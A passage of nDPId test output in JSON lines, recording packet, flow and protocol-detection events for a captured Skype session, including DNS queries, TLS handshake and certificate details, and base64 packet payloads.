{"query":"335.0.7.7.3.rst11.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00441{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":805200,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"PBXCt3IO0NQSxnP1CABFAAA4BUNAAHYGIaedOH7TwKgBIgG7yB4Nim5XMUkVNZASIABVdAAAAgQFrAQCCAoZLZ4CPjGHIQ=="} +00436{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":805262,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0\/VlAAEAGX5TAqAEinTh+08geAbsxSRU1DYpuWIAQ\/\/+P3gAAAQEICj4xh20ZLZ4C"} +00566{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":832794,"pkt_caplen":160,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":160,"pkt_l4_len":126,"pkt":"0NQSxnP1PBXCt3IOCABFAACSvDJAAEAGoF3AqAEinTh+08geAbsxSRU1DYpuWIAY\/\/9YPAAAAQEICj4xh4gZLZ4CFgMBAFkBAABVAwF2gnUJnVCWWbyDtFIDg6B8bhQi3kG6KGexUdynVrU4nwAALsAKwAXACcAEwAfAAsAIwAPAFMAPwBPADsARwAzAEsANADkAMwA1AC8ABQAEAAoBAA=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1431970634729,"flow_last_seen":1431970634832,"flow_tot_l4_data_len":238,"flow_min_l4_data_len":32,"flow_max_l4_data_len":126,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.126.211","src_port":51230,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"06207a1730b5deeb207b0556e102ded2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02369{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":914047,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"PBXCt3IO0NQSxnP1CABFAAXUCBZAAHYGGTidOH7TwKgBIgG7yB4Nim5YMUkVk4AQ\/SANhgAAAQEIChktngw+MYeIFgMBDm0CAABGAwFVWiNKv+VQQ4f\/l6e8WrHKPk18QS4G4dXttQRK9+OHNCDFBwAAmPU\/uZfnwwRzzyScJ+oJXq5g50nbzRo6qyekQsAUAAsADLAADK0ABsIwgga+MIIEpqADAgECAhNaAABXr+G5kPxf1sjbAAEAAFevMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBTU0wgU0hBMjAeFw0xNDEwMjcyMjUxMDdaFw0xNjEwMjYyMjUxMDdaMCcxJTAjBgNVBAMMHCouZ2F0ZXdheS5tZXNzZW5nZXIubGl2ZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCyx0gXDtYT4FDgq1U\/QT4gIqh\/oOwWGgGWr1Rw1pQofkd5Appl7fbVIjBIuJ+PMiYpN1xCoV1HZbm8LArgeHDfsoutcr0hH5rsD6th+v+cZ\/Gp0zo8NL2R606iXfu6X64MlQlCO\/UFzzV4LPDfXvjmXPMa6j593FmA7o9xMkfCYTsoSVSUMNFAU2t8o01SWuCjZYIf4rKo8YKrN0XNh868VsKpWPOf0is1CGHYv+tscgp6dRsSNLEMuMqcjtY2hH3b+XSVViiIbU2Qv8fj9559K777if3lrsPegqawHj5lb\/SF0hqH55segyHJV40HOAoBBNKrXmDFC7xJBy2UTmWzAgMBAAGjggJ8MIICeDAdBgNVHQ4EFgQUUTD6bxEALx8wce+ldRcbVOgh+TAwCwYDVR0PBAQDAgSwMB8GA1UdIwQYMBaAFFGvJCac9GgiV4AmKztGYhV7HsylMH0GA1UdHwR2MHQwcqBwoG6GNmh0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL21zaXR3d3cyLmNybIY0aHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL21zaXR3d3cyLmNybDBwBggrBgEFBQcBAQRkMGIwPAYIKwYBBQUHMAKGMGh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL21zaXR3d3cyLmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwTgYDVR0gBEcwRTBDBgkrBgEEAYI3KgEwNjA0BggrBgEFBQcCARYoaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzADAnBgkrBgEEAYI3FQoEGjAYMAoGCCsGAQUFBwMBMAoGCCsGAQUFBwMCMIGfBgNVHREEgZcwgZSCHCouZ2F0ZXdheS5tZXNzZW5nZXIubGl2ZS5jb22CJiouYmV0YS5nYXRld2F5LmVkZ2UubWVzc2VuZ2VyLmxpdmUuY29tgiUqLmJ5Mi5nYXRld2F5LmVkZ2UubWVzc2VuZ2VyLmxpdmUuY29tgiUqLnNuMS5nYXRld2F5LmVkZ2UubWVzc2VuZ2VyLmxpdmUuY29tMA0GCSqGSIb3DQEBCwUAA4ICAQCnsc3osHo0VQdHc5SuNwgNZJ8VsGz4eyw1SrNg9wtd7X8dgqG0DxuGBpdklYV1npJ69Mh9pxvTLkelzlqQDQ\/1JCGc1pEMYEeLbjuCppS3YkAcyqQNhIJN8hG7Ed1mdiul2eLg+teOctcRJaHvYA6AG90ICkMWVpiMmukLC+WmFcpurK\/Y"} +00463{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":914209,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"PBXCt3IO0NQSxnP1CABFAABICBdAAHYGHsOdOH7TwKgBIgG7yB4NinP4MUkVk4AY\/SDRYwAAAQEIChktngw+MYeIMUuJaVUXCwA66lzZMRkm0xM\/nV8="} +00435{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":914256,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0pUhAAEAGt6XAqAEinTh+08geAbsxSRWTDYp0DIAQ\/\/+JVgAAAQEICj4xh9kZLZ4M"} +00445{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":933999,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGtJ2dODQcwKgBIpxJyB3uE3m5CtkEWaASOJCk1gAAAgQFrAQCCApMX+pXPjGHIQEDAwk="} +00433{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":934078,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Qp9AAEAGZQbAqAEinTg0HMgdnEkK2QRZ7hN5uoAQECz7NQAAAQEICj4xh+xMX+pX"} +00560{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":934601,"pkt_caplen":157,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":157,"pkt_l4_len":123,"pkt":"0NQSxnP1PBXCt3IOCABFAACPS55AAEAGW6zAqAEinTg0HMgdnEkK2QRZ7hN5uoAYECyExgAAAQEICj4xh+xMX+pXEDaxqNNs94bJX3MjOodsEDM88DACObmxILHLguZFB4dasZ4qWIC3URykkoTC6unHwssAce4HDA3aA9hphr9khfI7sGEed7z9CnOIWbYvFHUiq2BRTuds7TrjOA=="} +02383{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":989841,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"PBXCt3IO0NQSxnP1CABFAAXUCkVAAHYGFwmdOH7TwKgBIgG7yB4NinQMMUkVk4AQ\/SANZgAAAQEIChktnhQ+MYfZUYsZAArswT+sVYDe4\/s+octFa5f5NraUxxncYJ0H1DXox59A2Fq5VISuVN85wP2CCUyU9Jri0W12MS8UHhofDtCC\/aeGWq+l6J+nD16R4eDapUlNB52CJOmfvVeyYhEr\/aSkyh+x5qntiHPmxNL4oQ4t9q9cRGg37NGw4W3v7gKUqZA7GOEtfs7ndzQKvfITYRFhRXtB+Geyc8SVWiWlBbePlt40Z9Mwm7DPu0JToThROvr07EpvaNHsDj+sfl4\/ssqhJPAoVfz0wWGwi\/ByYUJT0t+8BVptm\/HAUYoi\/0PQFRMfymq9Y999sgymNr6YwPYzcm66fQL57hVd+E\/NpGuAwv\/j4I98bfIb7cS26RkUtr41mvTduUpwXz6HZnONvg3rFQ55MtL0jpv\/5T2PNTkmAFhF5Csuvsme4bvtShQRBEmXn48raUgx6y\/5XH7Pm2hyngLVzMnjf+Ej0KsCBNhIlshCh7AABeUwggXhMIIEyaADAgECAgQHJ6pHMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTQwNTA3MTcwNDA5WhcNMTgwNTA3MTcwMzMwWjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgU1NMIFNIQTIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDR6DendopwSxnwIDcJJDd\/6vt45gW6aq1OJw38cmrZbCHEZBGVcxAKXCV7iGyUBP3H26573EoIsz4W8dCt2zBt1xoeUrU98EcZA+J9pr1XEz9U6jqjsXf8QvBjSWqRgC4wScCK6yuv\/jrrB10G9+n9hA6RvQkgKehuXQnOFdPn79tQ60TvGFerBB28Mfn3eyoTz9E9Ua8bxbV757D8U7ua52PeQTO2RyRpXbhGp\/+tq99PenglJyEmNMoCbjdR8O1YGmCU9sST2N0wJCXXHOsZlDVdk7KuqimDc8R0WQVSZ53aZ1E5BTo26vIedisUruw9+RSZiwduvOcMVt6svq7bdTKQnmO9dL\/gCsr4NJZnhM3RQjh4x5m2DM62D+kby\/RZvhEOyywyyPqDKWR5PItL8DJ0bPOTuJZrXVdaaMHMDHmKGd71SQJeCIABiQwyzdLWltVLoPPsv6v0fbOhuXzaTtflt6y58iVfAcuMlqgorsEzWvY\/CJDc6\/852CbIEp0cmqqpwBaOhu1nUpYAfw2SPT3ZcDbl6kJvH66V5Vtd+NA6x9Ted4bQ\/J5O4uK4qWg3CcQ544W4ifMfbrdtH0ovGAlv3koBjxTJt6bup2OfM6RUfEKDaLil37\/suRpdEzvZrWj9IApVkSFk+dcTAaAIXVmJG0SvpKzHBRD6QUqo+wIDAQABo4IBezCCAXcwEgYDVR0TAQH\/BAgwBgEB\/wIBADBgBgNVHSAEWTBXMEgGCSsGAQQBsT4BADA7MDkGCCsGAQUFBwIBFi1odHRwOi8vY3liZXJ0cnVzdC5vbW5pcm9vdC5jb20vcmVwb3NpdG9yeS5jZm0wCwYJKwYBBAGCNyoBMEIGCCsGAQUFBwEBBDYwNDAyBggrBgEFBQcwAYYmaHR0cDovL29jc3Aub21uaXJvb3QuY29tL2JhbHRpbW9yZXJvb3QwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUF"} +01516{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":990634,"pkt_caplen":864,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":864,"pkt_l4_len":830,"pkt":"PBXCt3IO0NQSxnP1CABFAANSCkZAAHYGGYqdOH7TwKgBIgG7yB4NinmsMUkVk4AY\/SBQngAAAQEIChktnhQ+MYfZBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwQgYDVR0fBDswOTA3oDWgM4YxaHR0cDovL2NkcDEucHVibGljLXRydXN0LmNvbS9DUkwvT21uaXJvb3QyMDI1LmNybDAdBgNVHQ4EFgQUUa8kJpz0aCJXgCYrO0ZiFXsezKUwDQYJKoZIhvcNAQELBQADggEBAGli9oSRAMRvgnsk4UKipYuCXKfFRMvnUnZj03aeeOJpNbE4urCWxh+se8ayZXeLfY2uZLmljBfKWGXDrYL1xaL1AROTxn5E5cRh+gO2VsFy4cgoxWkhj6xu\/X9Dgza4wNagKP4aRb79k4yNpGR5HxTboZ8h3MBOexciF7G2PNOb4gqjfpmwwazY9IbfPNp9FJxAwXzSGG\/xTyZFCZWUXNrQmPj0TIKWEN6sMMsrrvmS6r95A\/weP6wJpD9l\/ZFPliSnzrROapYpF67AqN8XIvQX49wcOQZWEOrqtXQXPE7dfpEKqAt4B6cxRAgxqxiEDxKc596ELOltk0W\/qME\/NNwMAAFnAwAYYQTTN3+FNDwR9eQeYOtvGQZc+LyhevxS5+nlWdkwyQdoN8m1+2TrSW23TxxjbLbMZoXA+i+E6BgARpsJXZy4miOppb32qv9x1t203eD1ERk7k5Ne4\/vHdrClQby6SNFwJX8BAAl\/ijfHVX974KM6wxLtSAfJWttdJMe9phrgwFSWtGSLSkLj7JTk0LOh5eeCvEEKc4XyfO+z9QBr3NsQn+vRBXoi+ZRFdXLZuvlXGipZ\/ucfqfIHMXWjrHlXR\/LFLQ+XNzDn0xc5\/t+\/ZMdGuYxw0VImAhbjPejldJMh0hc4Qzp2SS0NTHC7fcQ2uR09eM6n6MWSLps2XhBpK1q\/8vPqNVAHTu5Iv6lpl++ND07Oxbi1BzAbCIjaCYOj1\/uDcOROeE+gjITbkOPynUa5ZqLz\/1LFziPCTlq8mC2+jxz2G855lLj0tgGab1j1m+m8pMnwqwxJ8XNN3IxLbO1GF2fXdkkOAAAA"} +01194{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":29,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":9,"flow_first_seen":1431970634729,"flow_last_seen":1431970634990,"flow_tot_l4_data_len":4096,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":455,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.126.211","src_port":51230,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Skype","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.gateway.messenger.live.com,*.beta.gateway.edge.messenger.live.com,*.by2.gateway.edge.messenger.live.com,*.sn1.gateway.edge.messenger.live.com","ja3":"06207a1730b5deeb207b0556e102ded2","ja3s":"5e4e5596180ebd0ac0317125ee490707","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT SSL SHA2","issuerDN":"CN=*.gateway.messenger.live.com","fingerprint":"95:C4:07:41:85:D4:EF:AA:D9:1F:0F:1F:3C:08:BF:8E:8B:D0:90:51"}} +00436{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970634,"pkt_ts_usec":990686,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0tBlAAEAGqNTAqAEinTh+08geAbsxSRWTDYp8yoAQ\/\/+ARgAAAQEICj4xiCMZLZ4U"} +00581{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":6082,"pkt_caplen":173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":173,"pkt_l4_len":139,"pkt":"0NQSxnP1PBXCt3IOCABFAACfFfJAAEAGRpHAqAEinTh+08geAbsxSRWTDYp8yoAY\/\/8YnwAAAQEICj4xiDMZLZ4UFgMBAGYQAABiYQSrq03YfHFl820bvS6W0Qg6ooFgejoxhjE8+5PigHKrLNmVczXJQCrkQ4zH0r4Tyq5CcJvbEQQ6XgJDw4iF3in7mO06MpCaUPpZUq2g8z5yNwkoaNsdB2jO9aO23OTlK6Y="} +00433{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":140069,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0kzBAADMGIXWdODQcwKgBIpxJyB3uE3m6CtkEtIAQAB0KtwAAAQEICkxf6oo+MYfs"} +00539{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":140252,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"PBXCt3IO0NQSxnP1CABFAAB\/kzFAADMGISmdODQcwKgBIpxJyB3uE3m6CtkEtIAYAB19AwAAAQEICkxf6oo+MYfs4bm06ALsmkjmvEJD\/Xp7DzZunLSFeNePGP146Ow0dUADTK8nymrof0\/nApzsTykmMa7HzM2aw5gpRn8kRbL7cCHeN3y9yjNIGXbv"} +00433{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":140304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0tT1AAEAG8mfAqAEinTg0HMgdnEkK2QS07hN6BYAQECn5kwAAAQEICj4xiLhMX+qK"} +00445{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":140625,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8y75AAEAG297AqAEinTg0HMgdnEkK2QS07hN6BYAYECkGOAAAAQEICj4xiLhMX+qKABUsdMFxBVE="} +00436{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":292806,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0FXVAAHYGEXmdOH7TwKgBIgG7yB4NinzKMUkV\/oAQ\/LWC9gAAAQEIChktnjM+MYgz"} +00519{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":292905,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"0NQSxnP1PBXCt3IOCABFAABv\/ThAAEAGX3rAqAEinTh+08geAbsxSRX+DYp8yoAY\/\/9rIgAAAQEICj4xiVAZLZ4zFAMBAAEBFgMBADBQZqpRu3lF7RSGvtBgMw1mSnNGu4DvBvveLkv5kkOygzRoC+lc04nMGjZN3fCN3gs="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1431970635325,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63514,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":325136,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA657QAAEARD4vAqAEiwKgBAfgaADUAJptGWcsBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":38,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1431970635325,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63514,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"ui.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00518{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":367533,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"PBXCt3IO0NQSxnP1CABFAABvF85AAHYGDuWdOH7TwKgBIgG7yB4NinzKMUkWOYAY\/Ho6CgAAAQEIChktnjk+MYlQFAMBAAEBFgMBADAE6Vbf2ar\/mJLYKulsBWZHlkQ4OKZ3utTO4lzLpQZ4uuQKcuuOHkCvyMCCR6EuLpw="} +00436{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":367607,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0w0pAAEAGmaPAqAEinTh+08geAbsxSRY5DYp9BYAQ\/\/99yQAAAQEICj4xiZoZLZ45"} +00449{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":375402,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA4MoAAEARFm\/AqAEiwKgBAdb0ADUALMTUeDABAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00448{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":375527,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAWkkAAEARnPDAqAEiwKgBAf3LADUALKDXdTsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1431970635433,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63661,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970635,"pkt_ts_usec":433165,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"0NQSxnP1PBXCt3IOCABFAABECpEAAEAR7KTAqAEiwKgBAfitADUAMI+fhgYBAAABAAAAAAAABWU0NTkzAWcKYWthbWFpZWRnZQNuZXQAAAEAAQ=="} 